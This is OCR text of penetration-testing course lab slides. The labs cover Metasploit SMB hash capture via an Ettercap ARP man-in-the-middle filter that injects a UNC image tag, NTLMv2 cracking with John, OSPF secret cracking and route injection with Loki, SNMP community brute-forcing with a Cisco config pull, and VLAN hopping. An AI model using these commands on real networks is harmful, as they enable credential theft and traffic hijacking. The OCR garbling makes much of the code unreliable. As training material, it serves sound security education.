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SMB Capture Attack

e Establish a SMB listener using
Metasploit to capture credentials

e Establish MITM attack

e Use Ettercap filter to rewrite HTML to
add UNC <img> reference

SMB Capture Attack

For this excercisce we'll establish an SMB listencr process using Metasploit to capture the victim's
authentication credentials. Once the server is running we'll establish a MITM attack and usc a
custom Ettercap filter to rewrite HTML content to add a UNC image reference, pointing to the
Metasploit SMB server.
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Metasploit SMB Capture Module

e Impersonates a legitimate SMB server
—Sends a fixed challenge for each request
to optimize password cracking
e Listens on TCP/445 by default

—Can run a second instance of the server
module on TCP/139

Metasploit SMB Capture Module

The Mectasploit SMB capture module impersonates a server running the SMB protocol, logging any
attempts to authenticate to the server for use with dictionary attacks or pre-computed rainbow table
lookup attacks. To aid this process, the Mctasploit SMB scrver sends a fixed challenge value for
cach authentication request, matching that of available rainbow tables.

By dcfault, the process listens on TCP/445, though it is possible to change the listening port
designation to instantiate a second instance of the server on TCP/139 as well.
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Metasploit SMB Capture

# cd /opt/metasploit/app/
# ./msfconsole
msf > use auxiliary/server/capture/smb
msf auxiliary(smb) > info
Bazic options:
Mame Current Setting Required Description
CAINFWFILE no The local filename to store
the hashes in Cain&lAbel format
CHALLENGE 1122334455667788 vyes The 8 byte challenge
JOHNFWFILE no The prefix to the local
filename to steore the hashes in JOHN format
SRVHCAT 0.0.0.0 yes The local host to listen on.
This must be an address on the local machine or 0.0.0.0
SRVPORT 445 yes Fhe local port Lo listen on.
S5L false 418} Megotiate SSL for incoming
connections
SSLCert no Fath to a custom 385L
certificate (default 1is randomly generated)
SSLvVersion SSL3 no Specify the wversion of S5L

that should be used {accepted: 55LZ, 353L3, TL3l)

raflon I  LAXPIOIE Wnng, i

Metasploit SMB Capture

Start the Mctasploit SMB scrver process as shown on this slide. First, change to the
/opt/mctasploit/msf3 directory with your Kali Linux system, then invoke the msfconsole tool. Once
loaded, load the auxiliary/server/capture/smb module and examine the module scttings with the
"info" command.
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Attack Steps

¢ Start the Metasploit SMB capture server, logging to John the
Ripper and Cain-compatible files

e Create an Ettercap filter to insert an HTML image reference
to your Metasploit server

e Establish a MITM attack using Ettercap against one victim
with your attack filter

e Victim should browse to http://10.10.10.70 or any other
website

o Observe credential hash on SMB capture server and log files

We won't be performing password cracking in this _exercise, just
authentication data collection.

\dvanced Penctranon lespng, Bxploit Wnnng, and Hehical Hacking

Attack Steps
Follow the attack steps outlined here to complete this excrcise:

Start the Mctasploit SMB capture server, logging the observed credentials to John the Ripper
and Cain-compatible files

Crcate an Ettercap filter to insert an HTML image reference, pointing to your Metasploit server
IP address

Establish a MITM attack using Ettercap against your Windows victim using your attack filter
On the victim, browse to the website at http://10.10.10.70 or any other website

Observe the credentials hash data on the SMB capture server and log files

For the purposes of this excrcise, we won't be performing password cracking following the credential
capture.
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SMB Capture - STOP

e Stop here unless you want answers to
the exercise

SMB Capture — STOP
Don't go any further unless you want to get the answers to the exercise. The next page will start going
over the answers to this exercise.
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Metasploit SMB Capture Module

msf > use auxiliary/server/capture/smb

msf auxiliary(smb) > set JOHNPWFILE /tmp/johnpwn-445.txt
JOHNPWFILE => /tmp/johnpwn-445.txt

mef auxiliary(smb) > exploit

[*] Buxiliary module execution completed

[*] Berver started.

msf auxiliary{smb) > set SRVPORT 139

SEVPORT => 139

msf auxiliary(smb) > set JOHNPWFILE /tmp/johnpwn-139.txt
JOHNPWEILE => /tmp/iohnpwn-139, txt

msf auxiliary(smb) > expleoit

[*] Buxiliary module execution completed

[*] Server started.

arng, and Forhical Hacking

Metasploit SMB Capture Module

This slide shows the process for loading the SMB capture server and instantiating two instances of
the server listening on TCP ports 445 and 139. For cach server process, credentials arc logged in an
ASCII format for subsequent usc with John the Ripper. To identify the status of running jobs, issuc
the msfconsole "jobs" command, as shown below.

msf auxiliary(smb) > jobs

Jobs
Id Name
0 Auxiliary: server/capture/smb

1 Auxiliary: server/capture/smb
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Ettercap Filter (1)

¥ Watch vutbound HEPE requests, replacing "Accept-Encoding” ilne
if {ip.proto == TCP && tcp.dst == 80; {
if (search(DATA.dava, "Aocept-Encoding")i |

replace ("Accept-Encoding” . “heooept-Rubbish! Yy

msqg ("zapped Rccoept-Encoding!\n"):

i

# Do the same for If-Modified-Since
if 658) |
if {searchi(DATA.data, "If-Modified-Since"™)) |
replace ("If-Modified-Since", “If-PACified-Sinca")y
zapped [f-Modified-Since\n");

f

For HITE responses, replace all "img sro=" tags with our own tag,
referencing a file on our ssrver instead. This is case-sensitive,

50 additiconal rules are needed for “HEADY, “heRd", etc, Keep the UNU path
a3 short as possible to minimize the Content-Length variable running over.
if (ipiprots == TCP &8 Cop.ste == B0 |

replace {"<head»", "<headr <img sro=\"\A\A\AN10.10.10.100\\p.gdify"="};
msg{"Replaced head with head and image referenceln"):

[ A AR M e

Ettercap Filter (1)

An Ettercap filter is required to manipulate the victim's web browser and attempt to load an image
file from a UNC file path. This slide shows one possible Ettercap filter source file, adding the image
header immediately following the browser "head" statement. Replace the [P address 10.10.10.100
shown in this slide with your Kali Linux attack system [P address.
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Ettercap Filter (2)

# etterfilter -o smbcapture.ef smbcapture.filter
etterfilter 0.8.0 copyright 2001-2013 Ettercap Development Team

12 protocol tables loaded:
DECODED DATA udp top gre icmp ip arp wifi fddi tr eth

11 constants loaded:
VRRP OSPF GRE UDF TCP ICMP& ICMP PPTP PPPoE 1P ARP

Parsing source file '"smbrapture.filter" done.
Unfelding the meta-tree done.

Converting labels to real offsets done.
Writing output te 'smbcapture.ef' done.

-> Script encoded inte 23 instructions.

Ettercap Filter (2)
Once the Ettercap filter file is created we need to compile it using the etterfilter command as shown

on this slide.
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Ettercap MITM

e Launch Ettercap with ARP MITM attack

— Specify victim as first target, web server as

the second target

Specify victim 1P address of
1P here web server

§ ettercap -TaM arp:remote -F smbcapture.ef /XX.XX.XX.XX/ /10.10.10.70/
ettercap 0.8.0 copyright 2001-2013 Ettercap Development Team

Listening on ethl... (Ethernet)

ethd -> 00:0C:29:5D:A9:EE 10.10.75.1 255.255.0.0

Ettercap MITM

Next, use Ettercap to create an ARP MITM attack as shown on this slide, specifying the path and
filename of your compiled etterfilter file. In the first target designation, identify the victim [P
address (replacing "XX. XX.XX.XX" with thc Windows victim IP address). The 2" argument will
be "/10.10.10.70/", creating a MITM between the victim and the lab web server used for this
CXCreisc.
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Victim Browsing

Using Internet Explorer
— Firefox does not honor UNC file paths in href‘s

Victim Browsing

As the victim, browse to the website at http://10.10.10.70. If your Ettercap MITM and filter arc
correct, you should see a broken image in the web browscr, as shown on this slide. Internet Explorer
has automatically attcmpted to retricve this image file from thc Mectasploit SMB capture server.
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Metasploit SMB Server

Also recorded in designated logging files

msf auxiliary(smb) >

[*] SMB Captured - 2014-04-02 16:13:36 ~0400

NTLMve Response Captured from 10.10.80,10:11064 - 10.10.80,10
USER:Jwright DOMAIN:MANTLE CS: LM:

LMHASH:Disabled LM CLIENT CHALLENGE:Disabled
NTHASH:a%593255056b8%4502426ebalfbalell

NT CLIENT CHALLENGE:010100000000000081cc8207b04e0£01900ea54640ad7actCo
000O000200000000000000000000D00

T S e — ﬂ

Enter Network Password
Enter vour password to connect to: 101310150

Windows may pass logged-in NTLMv2
credentials, or may prompt for a network re——
password. If prompted for a password, |

Pasvword

enter a password of "bb3143468" | Dormain: AWRIGHT-X300

Remember my credentishs

Metasploit SMB Server

Returning to the Metasploit instance, you will scec a msfconsole status entry for each authentication
attempt. The example noted is from a Windows 7 victim revealing the NTLMv2 hash information
prior to prompting the user for authentication when the logged-in credential fails. Depending on the
configuration of your Windows host, you also may be prompted to enter a password. [f you are
prompted for a password, enter the password "bb3143468".
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Optional: John NTLMv2 Cracking

e Decompress rockyou.txt dictionary file
e Retrieve 1 hash from log file
e Crack with John (if possible)

# gzip -d /usr/share/wordlists/rockyou.txt

# head -1 /tmp/johnpwn-445.txt netntlmv2 >crack.txt

# john crack.txt --wordlist=/usr/share/wordlists/rockyou.txt

Loaded 1 password hash (NTLMvZ C/R MD4 HMAC-MDS [32/32])

bb3143468 {jwright)

guesses: 1 time: 0:00:00:29 DONE (Wed Apr 2 16:47:02 2014) cfa:
488732 trying: Dbb3233 - bb31434&8

Use the "--show" option to display all of the cracked passwords reliably

Advanced Penerration Testng, Exploit Wrinng, and Frhical Hacking

Optional: John NTLMv2 Cracking
With the recovered NTLMv2 hashes from Internct Explorer, we can mount a password cracking
attack.

First, decompress the rockyou.txt file so we can use it as a password guessing source.
Next, usc the "head -1" command to retrieve the first hash record from the johnpwn-
445 txt_netntlmv2 file, redirecting the output to "crack.txt", as shown.

Next, use John the Ripper to crack the password. If you entered the password "bb3143468" from the
Internct Explorer authentication dialog box, you will recover the password quickly. If however your
browser did not prompt you for a password, you will only target your logged-in password. If your
logged-in password is not present in the rockyou.txt file, you will not be ablc to crack the password.
Consider adding "-rules" to the "john" command and try again, using the password permutation
mode John offers.
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SMB Hash Capture:

Troubleshooting

Double-check MitM effectiveness and IP addresses

Validate HTML being injected is a valid tag

Windows accounts with no password will not

authenticate over SMB

— You can optionally set a Windows password,
logout/login, and try again

If the WebClient service is stopped, IE will not

send SMB credentials

- Open a command shell as an Administrator

- "sc start webclient & sc query webclient”

ing, and Frhical Hacking

SMB Hash Capture: Troubleshooting
If you are having trouble getting credentials from the victim running Internet Explorer, try these
troubleshooting steps:

e Make sure the MitM attack is working in Ettercap. Browse to a website as the victim
and press "s" to look at connection statistics in Ettercap. Make sure the packet reccive
count is increasing.

e Validate the injected HTML content with the Etterfilter script. Make surc you are
specifying the correct IP address of the attacker system.

*  Windows victim systems will not send authentication credentials if there are no
credentials to send (c.g. local Windows accounts that do not have a password sct). You
can optionally sct a Windows password on your victim system, then logout and login
and try browsing again.

* In some systems, the WebClient service is stopped. If WebClient is stopped, 1E will not
forward SMB credentials. Start the WebClient service using the services.msc MMC
add-on, or from the command-linc as an Administrator:

C:\Windows\system32>sc start webclient & sc query webclient
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Exercise: Inserting OSPF Routes

e In the Manipulating the Network module we
looked at routing protocols

— Many networks transmit routing peer
announcements in the access layer

— Some networks attempt to protect routing
advertisements with MD5 digest authentication
o We'll exploit these weaknesses to discover
and manipulate routing with Loki

Exercise: Inserting OSPF Routes

In the Manipulating the Network module we examined several vulncrabilities in interior routing
protocols. Many organizations announce routing updatcs on end-user scgments where user
workstations connect to the network (the access layer), leaving them exposed to routing manipulation
attacks. Some organizations attempt to protect against attack by protecting the routing process with
MDS5 digest authentication, using a shared secret to validate entrics in the routing table. In this
configuration, an attacker who can capture internal routing traffic can mount an offline dictionary
attack against the MD35 shared secret value.

In this exercise we'll have some hands-on practice on exploiting these weaknesses in internal routing
tables, focusing on the OSPF protocol.
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Loki Setup Warning

e Loki is a recent tool and still slightly buggy
(but effective)

e Requires several dependencies to run on
Kali Linux

e Follow these steps carefully in the lab or
remotely

and Frhical Hacking

Loki Setup Warning

We'll be using Loki for the attack portion of the lab exercises. This is a recent and effective tool but
is still buggy and requires a significant number of changes to operate on Kali Linux. We've taken
care of most of the work for you, though manual installation on another platform will be complex.

Follow the steps in this lab exercise carefully to install Loki. If you are running Kali Linux as a

system installation or a virtual machine, consider making a system backup or snapshot before
working on this lab exercise.
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Loki Setup (1)

» Download our packaged dependencies
in one tarball

e Extract the tarball locally

# wget http://files.sec660.org/loki-kali.tgz
# tar xfz loki-kali.tgz

# cd loki-kali

# ls

pylibpcap 0.6.2-1 1386.deb

python-dpkt 1.6+svn54-1 all.deb

lokl 0.2.78=] 13B6.seb

python—-dumbnet 1.12-3.1 i386.deb

libss10.9.8 0.9.8o0-4squeezeld i3B6.deb

n Testng, l.~[11u it Wrinng, and Frhic al Hac king

Loki Setup (1)

To setup Loki, download the Loki tarball from the lab server as shown on this slide. Un-tar the loki-
kali.tgz file and change to the loki-kali directory. Several files will be present, which need to be
installed in a specific order.

If you wish to install Loki on another system, you can usc similar steps to the ones described here,
with local dependency additions. Scc the Loki web page at http://www.insinuator.net/tag/loki for
additional installation instructions.
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Loki Setup (2)

e Install Python dependencies in the
order shown

 pwd

/root/loki-kali

# dpkg -i 1ibssl0.9.8 0.9.8o-4squeezeld i386.deb
# dpkg -i python*

¢ dpkg -i pylibpcap 0.6.2-1 i386.deb

# dpkg -i loki 0.2.7-1_i386.deb

# which loki.py

/usr/bin/loki.py

¥ ed ..
# rm -fr loki-kali*
# loki.py

\dvanced Penerration Testng, Exploit Writing, and Frhical Hacking

Loki Setup (2)
To install Loki, we must first install the package dependencies in the order specified on this page.
Remember to use tab completion to save on typing when entering the package filenames!

After completing the setup and installation of Loki, you'll have a Python script in /usr/bin/loki.py.
You can safcly remove the installation files.

To start Loki, invoke the loki.py script with no arguments as root.
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Loki Setup (3)

 Loki's OSPF password cracking module is
written in C and buggy

— Crashes when it reads passwords longer
than 16 characters

e OSPF passwords cannot be longer than 16
characters

e We need to trim the wordlist appropriately

# cut -¢l-16 </usr/share/wordlists/sqglmap.txt
>/usr/share/wordlists/loki.txt

rnne. and Frhical Hacking

Loki Setup (3)

Loki's OSPF password cracking module is flawed in that it does not properly handle dictionary word
guesses longer than 16 characters. Fortunately, OSPF shared secrets cannot be longer than 16
characters. In order to work around this bug in Loki, we need to trim our dictionary word list so
passwords arc not longer than 16 characters in length.

In the example on this page, we read from the input file /usr/share/wordlists/sqlmap.txt, and truncate

cach line to no more than 16 characters using the cut utility, producing a new output file "loki.txt".
Run this command on your system as well before continuing with this excrcise.
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Routing Monitoring Aid

e A local looking glass page is updated
every minute
— Discloses local routing table
— Disclosed OSPF neighbor entries

e May wish to keep a browser window open
on this page to monitor local event during
the exercise

_http://10.10.10.70/routing.html

ced Penerranon Tesung, | xploit Wrinng, and

Routing Monitoring Aid
As part of this lab exercise, you'll usc a looking glass application to investigate the routing tables for
our target network.

A looking glass is a networking tool that allows operators to inspect the routing information from one
or more target routers. In our application, we'll disclose the entire OSPF routing table (using the
output of "show ip routc") in a static file that is updated every minute. Additionally, we'll display the
status of all OSPF neighbor adjacencies with the output of "show ip ospf ncighbors".

You may wish to keep a web browser open and pointed to the URL shown on this slide throughout
the lab exercise to get a view into the effectiveness of your attack.
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'Routing Entries for sec660-rtr-1/10.10.10.40

This is where the maglc happens, Chedk the cutput below to see If your spoofed 1oule appears in the local
routing table. While you are waiting. think about how you would abuse this (such as adding a routing entry
for 66,102.7.0/24, one of Google's many distributed hosting netwarks).

This page will automatically refresh every 1 minute. Last update Mon Nov 8 20:03:01 2010,

Output from “show Ip route” follows.

CGutput from "show ip ospf neighbor” follows,

OSPF Neighbor Report

This page shows the output from the router looking glass application, identifying the current routing
table as well as the OSPF neighbor adjacency. Note that this output reflects the actual network in use
and is not tainted by an attack.
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Using Loki
Bee- roa

| ROUTING | MPLS HOT-STANDBY | Wiccp |icmp6 tep-mdS | dotlq arp

| 0 Select the interface to use

| @

| eth ke 1

1Ped
10.10.10.75
255.255.0.0
1Pt
fe80::20¢; 29 fech: 5e06
FTEFL FFFY. YT PP,

Cancel 0K

Using Loki

After invoking Loki you will be presented with the default Loki screen. To start capturing data,
invoke the packet sniffer by clicking on the icon at (1). You will be prompted to select a network
interface at (2); select the appropriate local network interface and click OK.

After the Loki sniffing process starts, watch for indicators of observed protocols when the tabbed
window labels start to blink.
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fer

ROUTING MPLS HOT-STANDBY wiccp kmp6 tcp-mdS dotlq arp

rip| ospf bgp eigrp

In D AREA STATE AUTH CRACK MASTER
10101040 10101040 0 HELLCG CRYPT

Hello
Crack PW
Connection  Cracking  Injection Network Netmask Type
Area
lo
Authentication -
Type Key 1D
AUTH_CRYPT & 0o §

[1] OSPF: Got new peer 10.10.10.40

\dvanced Penetran xploit Writing, and Tehical

OSPF Peer Identification
After starting the Loki sniffer you will see the "ROUTING" tab label start to blink. Clicking on this

tab will also reveal that the "ospf" label is blinking. Clicking on this label will open the ospf attack
view, revealing a single obscrved router a shown in this slide.

The router at 10.10.10.40 will be our attack target that we will usc to peer with and manipulate with
OSPF route injection.
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OSPF Password Cracking

e Use the OSPF message digest cracker
to recover the shared secret

—Use loki.txt in /usr/share/wordlists
—"Use bruteforce" and "Use full charset"
options are not necessary
e Ensure you click on the target device
to focus the attack to one router

OSPF Password Cracking

In the first part of this exercise, you'll need to recover the OSPF digest secret used to protect routing
updates. In this attack you can use the password list included in the Kali Linux distribution at
/usr/share/wordlists/loki.txt. The "Use bruteforce" and "Use full charset" attack options in Loki are
not necessary to be successful in the attack.

Remember to click on the target router to focus the attack before initiating the password recovery
attack.
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OSPF Route Injection

Become an OSPF peer

Insert your own route into the OSPF routing table
— 172.17.XXX.0, subnet mask 255.255.255.0

— Replace XXX with your local IP address 4" octet

Observe peer status and route on the looking
glass

Inserting a route allows you to impersonate
entire network segments

— Or become a new gateway of last resort

\dvanced Penerration Testing, Lxploit Wridng, and Frhical Hacking

OSPF Route Injection

For the 2" component of the attack you need to configure Loki to become an OSPF peer with the
target router. Once you have completed the OSPF exchange and your peering state changes to
"FULL", you will bc able to inject your own routing traffic. Inject your own 24-bit nctwork using
the first 2-byte prefix of 172.17, with a third octet matching the last byte of your attacking IP
address.

After injecting your route, wait a minute and check the status in the looking glass application. You
should also be able to sce your [P address as a new OSPF peer as well.
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Exploiting OSPF - STOP

e Stop here unless you want answers to
the exercise

Exploiting OSPF - STOP
Don't go any further unless you want to get the answers to the exercise. The next page will start going
over the answers to this exercise.

If you are stuck or need a little help getting started, look at the next slide. Each successive slide gives
you a little more assistance in answering the exercise. If you want to do it all on your own however,
stop right here.
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Starting Loki, Target Discovery
2 N Y @# loki.py I

| RQUTING MPLS HOT-STANDBY wiccp icmpG tcp-mdS dotlg arp

A=
fip] ospf |bop jeigrp
IP AREA STATE AUTH CRACK MASTER
10101040 10101040 © HELLD CRYPT gontzombie B
Hello

| Crack PW |
Connection | Cracking | Injection Netwerk Netmask Type
. Use bruteforce . Use full charset

Wordlist o Lok txt [
—

[2] OSPF: Found password 'giantzombie’ for host 10,10.10.40

o LLxplont Wrone, and |

Starting Loki, Target Discovery

First, start Loki at the command line as shown in (1). After Loki starts, invoke the network sniffer
by clicking the icon at (2). Select the appropriate network interface in the dialog that follows, and
click OK.

After Loki obscerves OSPF announcement traffic, the "ROUTING" tab label will blink at (3).

Clicking on this tab will also reveal the "ospf" tab label as blinking at (4). Clicking this label will
reveal the presence of a discovered routing target.
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OSPF Digest Secret Recovery
- *= 2o @

ROUTING NPLS‘HOT-STANL‘HY wl«pknpﬁ tq)-rﬂs._m.‘lq ap.
rip| ospf bgp eigrp
P 1D

Crack PWJ
Connection Cra_ckln_g Injection Network Netmask Type
¢ Use bruteforce Us@{l charset
Wordlist T lokitxt s
et s

[2] OSPF: Found password 'giantzombie' for host 10.10.10.40
A s Ei'-‘..: [ratic

OSPF Digest Secret Recovery

To mount an offline dictionary attack against the MD5 digest secret, click on the target router to
sclect it at (1).

Next, select the password cracking attack option by clicking on the "Cracking" tab at (2).

Select the loki.txt password file in /usr/share/wordlists. Finally, click the "Crack PW" button at (4) to
initiatc the dictionary attack. This will start the dictionary attack process, revealing the highlighted
shared sccret after a short period of time.
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OSPF Peer Connection

3 s v da
rPOUTINC- MPLS HOT-STANDBY wicep iemp6 tep-mdS dotlq arp
np| ospf [bgp  mgrp
P {[#] AREA STATE AUTH CRACK MASTER
10101040 10101040 0  HELLO € #vPT H5)
Hailo
Crack PW
(D
Lonnection  Cracking Injection MNetwork Netmask Type
Area
0
Authentication =
Qlne gt @p
AUTH.CRYPT < |gantzombie 1 ;

[1] ©SPF: Got new peer 10.10.10.40
[L" R ]

I Ll LBt ALg

OSPF Peer Connection

Once we have recovered the OSPF sccret, we can create a connection to the router and become an
OSPF peer with Loki. First, click the "Connection" tab at (1) to examine the OSPF peer connection
attack options. Change the authentication type option to "AUTH CRYPT" as shown in (2) to allow
us to authenticate with knowledge of the OSPF digest sceret. Enter the digest secret recovered in the
prior slide as the key in (3). Next, change the authenticate identifier to "1" at option (4). Check the
box to mark the identified OSPF router as a device that can be used for route exchange in (5).

After configuring the necessary authentication options, we can create a peer relationship with the
target router. Click the "Hello" button at (6) to start the connection process. Examine the status of
the STATE column as it gradually progresses from HELLO to FULL. Once the attack system
completes the OSPF peer exchange process with the target system, you will be able to expand the
tree list at (7) to observe all the discovered routing update information from the victim.

If after several minutes the STATE has not changed from "2WAY", click the Hello button again to

turn off the neighbor relationship. After a foew seconds, click it again to restart the connection
attempt to the OSPF peer.
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B OSPF Route Enumeration

== -’.u.

ROUTING MPLS HOT-STANDBY wiccp kmp6  tep-mdS dotlq arp
—
rip| ospf bgp  eigrp

1P T AREA STATE AUTH  CRACK
- 101101040 T 2101040 0 FULL rveT
TYPE_ROUTER_LINKS 101000 285 25500 TYPE_PCINT_YO_POINT
TYPE.RCUTER.LINKS 1.1 1.3 I 5 B TYPE_TRANSIT_MET _—
TYPE_ROUTER.LINKS 2931 37.1 255 258 255 255 TYPE_STUB_NET
TYPE_RCUTER.LINKS 192327 1 255 255 255 255 TYPE.STUB_NET
TYPE_RQUTER.LINKS 1113171 255 255 265 255 TYPE_STUB_MET Crack P
TYPE ROGUTER_LINKS 10 10,1040 10101040 TYPE_TRANSIT MET

w

Connection | Cracking  Injection Network Netmask Type
Area

Authentication =
Type Key D

-[4] OSPF: Peer 10.10.10.40 in state FULL -

OSPF Route Enumeration

After Loki establishes a peer relationship with the target router, Loki will display "FULL" in the state
column, and include a list of routes retrieved from the target router, as shown on this page. This
information is valuable for a penetration tester, giving us insight into the networking and
organization of intcrnal network routes. However, we can extend our access even further by
injecting routes as well to create MitM opportunitics.
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OSPF Route Injection
—

QUTING MPLS | HOT-STANDBY wiccp iempS tcp-mdS dotlg arp
—_—— fom—

I {
mip| osf [bgp [sigrp
IP D AREA STATE AUTH CRACK MASTER

10101040 10101040 © FuLL

Crack PW

-

Connection Cracking ' Injection Metwork MNetmask Type
Network 172171100 255 255.2550 TYPE_ROUTER.LINKS
(@)172.17.1100
Netmask -
.;“".\' Q’..;'.‘a 255.0

Network type
TYPE_ROUTER.LINKS < Add |

[5) OSPF: Sending ROUTER_LINKS LSU to 10.10.10.40 i
AUV ETICCT T CHCTIATITIN TUS LIS CoN T, W TICITIS, 11T

OSPF Route Injection

As a final attack component we'll inject our own routing advertisement into the OSPF arca. Navigate
to the injection attack tab by clicking on the "Injection” tab at (1). Next, enter your desired network
to inject at (2) using the format 172.17.XXX.0, where XXX is replaced with the last octet of your
attack system IP address. Enter the subnet mask as shown at (3). Finally, click the "Add" button at
(4) to advertise the presence of this new route within the OSPF network.
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Looking Glass Perspective
Ble Edt View History Bookmarks Tools Help o
B

- - O xR 2 @[mpmo.m.m.rwmhﬂﬂ

Qutput from "show ip ospf neighbor” follows.

Looking Glass Perspective

After injecting the malicious OSPF advertisement, navigate to the looking glass page at
http://10.10.10.70/routing.html. Wait a minute as the page automatically refreshes itself and examine
both the routing table for your malicious network advertisement and the presence of your attack
system [P address as an OSPF neighbor.
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Exercise: Abusing Cisco SNMP
Read-Write Access

 In the Exploiting the Network module we
looked at SNMP

— Cisco I0S devices with SNMP RW access permit
retrieval of configuration file data

e Your target is at 10.10.10.40
— Discover SNMP RO community string
— Discover SNMP RW community string
— Retrieve Cisco I0S configuration file
e Please do not change MIB data or the router
configuration file

Exercise: Abusing Cisco SNMP Read-Write Access

In the exploiting the network module we looked at various techniques to compromise and manipulate
the SNMP protocol on various devices. One valuable attack mechanism against Cisco 10S devicces is
to retricve the device configuration file, initiating the transfer with the SNMP read/write string and
retrieving the configuration data over TFTP.

The Cain CCDU feature makes it straightforward to retrieve the Cisco configuration file. Usc a
combination of SNMP community string guessing tools and Cain to retricve the configuration from
the Cisco 10S target at 10.10.10.40. Pleasc do not make any changes to the MIB or the router
configuration file though. Thanks!
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Abusing Cisco SNMP RW - STOP

e Stop here unless you want answers to
the exercise

Abusing Cisco SNMP RW - STOP
Don't go any further unless you want to get the answers to the exercise. The next page will start going
over the answers to this exercise.
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Community String Recovery -
onesixtyone

# ping -c 2 10.10.10.40

PING 10.30.00. 40 (10, 16.10: ﬁ”
64 byres from 10, 1}A¢3. 0z
64 hytes

from 101010402

mem L0100, 10LA0 piog statisbiss =

3 pac -5 transamitted, 2 ived, 0% packet loss, time 1004ms

vt min/avgimex/mdey = 1. t;lfl 630/1.632/40.002 ms

¢ onesixtyone -c¢ /usr/share/doc/onesixtyone/dict.txt 10.10.10.40

Sranning 1 hosts, 50 communities

Cant open nosts file, scanning single host: 10.10.10.40

i [private] CTiscoe IOS Software, CR600 Software (C2ZeN0-ADVSECURITYES-

12.3111)T, RELEASE SOFTWARE (fcil Technical Support:

htip://wiW.cis u:o.corr‘-.;"teﬁh:iuppm:-‘. Copyzright (g) 19B6-=2004 by Cisco Systems, Ing.

Compiled Sal 18-Sep-04 11:3% by eaarmas

10,310,104 Jpublic] Cisco I05 Software, CEe00 Scftware (C2600-ADVSECURITYHI-M),
"I_T, FELEASE SOFTWARE (fol) Technical Support:

http N«a sco, comftechsuppert  Copyright (o) 1BEE-2004 by Ciseo Systems, Inc.

Compiled 3at 18-8ep-04 11:3% by saarmas

\dvanced Penetranon Testng, Exploit Writdng, and thical Hacking

Community String Recovery - onesixtyone

In this solution the onesixtyone tool is used to brute-force and discover the SNMP community string
against the target system. First, verify connectivity to the target at 10.10.10.40 with "ping
10.10.10.40". This is always a good idea before attacking a system with a UDP-based protocol to
ensure your traffic will make it to the target.

Next, usc the onesixtyone with the "-¢" parameter, referencing the standard SNMP community string
file in /usr/sharc/doc/onesixtyone/dict.txt. Finally, specify the target IP address as the last command-

line parameter.

Quickly, onesixtyonc will identify the community public and private community strings on the target
system, as shown here.
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Cain CCDU Attack (1)

ARehHBEN +v ¥ LUEEESORE 07 1
[ Oecodens |8 Network M9 Saitfer [of Cracher | Teaceroute | BB CCOU [ Wiesless |5 Guery |

Timestame | 1P Adgiess | SHME R Commungty | Fitename 1
Coco Config W_ ﬁ‘
| - Devioe Hottname /1P Addess :
| fieiaiaas = §
| SNMP Rend/wikn Commmnty J
| | fomvae =l :
% T - M Cancel | |

Cain CCDU Attack (1)

With the SNMP read-write community string, we can turn to Cain's CCDU utility to retrieve the
target [0S device configuration file. Start Cain and click on the CCDU tab. Click on the blue plus
sign on the toolbar, and specify the target as shown on this page. Click OK to retrieve the target
configuration file.
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Caln CCDU Attack (2)

A L)
File  Yiew Cgnfigure Tools Help

SRS HEE +v ¥ LYDEEa0IR 61 _h__
{2 Decoders [ @ Network [W9 Soffer [of Cracker [ Tracermute JER CoDU [ Wareless [ Query |

| Timestamp W Address SNMP R/W Community Fleramne 00|
DDA - 16:550:40 1010 1040 precate 10301040 _RunmingConfig JIL4T0M030

I

e {& cx Frogumfd« 8

;-.&un ccpu et B 4 |

Caganizs » Inchude in bisary « Shase with M foicter

Mawree

¢ Favoritss e
Pt o] 10.10.3040_RunningConfig 2014792038 .., 3214 439 M |
B Desktop I TN
[ CiProgram Fies (SECMmCCEUAI0 16 10,40 RunningConky 2014T209949350 1 - Notepad- » i D
| file Edit Search  Yiew Em'm Luw w Macro Run H\qu Wndew 2 - x|
ot o R DORDC BRI A 2 ASEEIED e a0
1 tem 1
e ——f Ei 1uw 1040 nn-m ma'mnamml |

83544484 S0E0DLIEOSOED 105382064 2C 36382000

It input teinet

Ln:l Cel:1 Sel:0

Cain CCDU Attack (2)

Cain's CCDU attack quickly recovers the 10S configuration file. If you right-click on the Cain entry
and sclect "Edit", you will get a jumbled configuration file in Notepad because the file is Unix
formatted. Instead, browse to the C:\Program Files (x86)\Cain\CCDU directory and open the
retrieved file with Notepad++, Wordpad, or another editor that handled Windows-formatted text
files. You will be able to review the configuration file contents, and even recover weak passwords
from the configuration file with Cain's Type 7 Password Decoder feature.
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Appendix A
VLAN Hopping Exercise

The lab exercise that follows requires that a Cisco
switch is available using a configuration that is
included at the end of the exercise. To complete
this exercise you will need access to the SEC660 lab
or the Internet to configure Kali Linux with the
necessary tools.

Appendix A - VLAN Hopping Exercise
This lab exercise is included as an appendix for use in environments when a Cisco switch is
available. The Cisco switch configuration details needed are presented at the end of this appendix.

To complete this lab you will need to boot the Kali Linux VM distributed with the SEC660 course
materials. You will also need a USB Ethernet adapter that you can conncct directly to the Kali Linux
VM. Finally, you will also need access to the Internet from this system, or access to the lab server to
download and install the required components.
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Exercise — VLAN Hopping (1)

e Windows does not support 802.1Q pass-
through to VMware
— Must use the Kali Linux VM with a USB
Ethernet adapter for VLAN hopping attacks
e Configure USB Ethernet card with
assigned IP address

# ifconfig eth0 0.0.0.0 down
# ifconfig ethl xx.xx.xx.xx netmask 255.255.0.0 up

Advanced Penerration Testing, Fxploit Wridne, and
- I

Exercise - VLAN Hopping (1)

Unfortunately, Windows does not natively support IEEE 802.1Q, dropping the packets at the
network driver layer. As a result, guest operating systems such as Linux running under VMware or
other virtualization tools do not receive these packets through a bridged network adapter and cannot
participate in VLAN trunking attacks.

In order to work around this limitation, you need to use a USB Ethernet adapter that you can pass
through as a USB device directly to the Kali Linux VM. Kali Linux will see this USB adaptcr as a

native network interface, which can be usced for VLAN hopping attacks.

At a shell prompt, configure the attached USB Ethernet adapter ("cth1") using the ifconfig utility
with the IP address assigned to your Kali Linux system as shown.
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Exercise — VLAN Hopping (2)

e Invoke Wireshark, capture for 60 seconds or more until
CDP packets are observed

e Identify Voice VLAN configuration entries and other
device details

- Native VLAN, device type, 10S version, etc.
e Create sub-interface for voice VLAN using vconfig

¢ Launch "dhclient" on the new interface to obtain a
dynamic address

What information can you gather from CDP frames? What is

Exercise - VILAN Hopping (2)
In this exercise you will configure your system to hop from one VLAN to a second non-default
VLAN. The recommended steps are:

¢ Invoke Wireshark and capture for 60 scconds until you capturc CDP packets.

* Inspect the CDP packet to identify the presence of a voice VLAN, as well as other pertinent
information about the Cisco device.

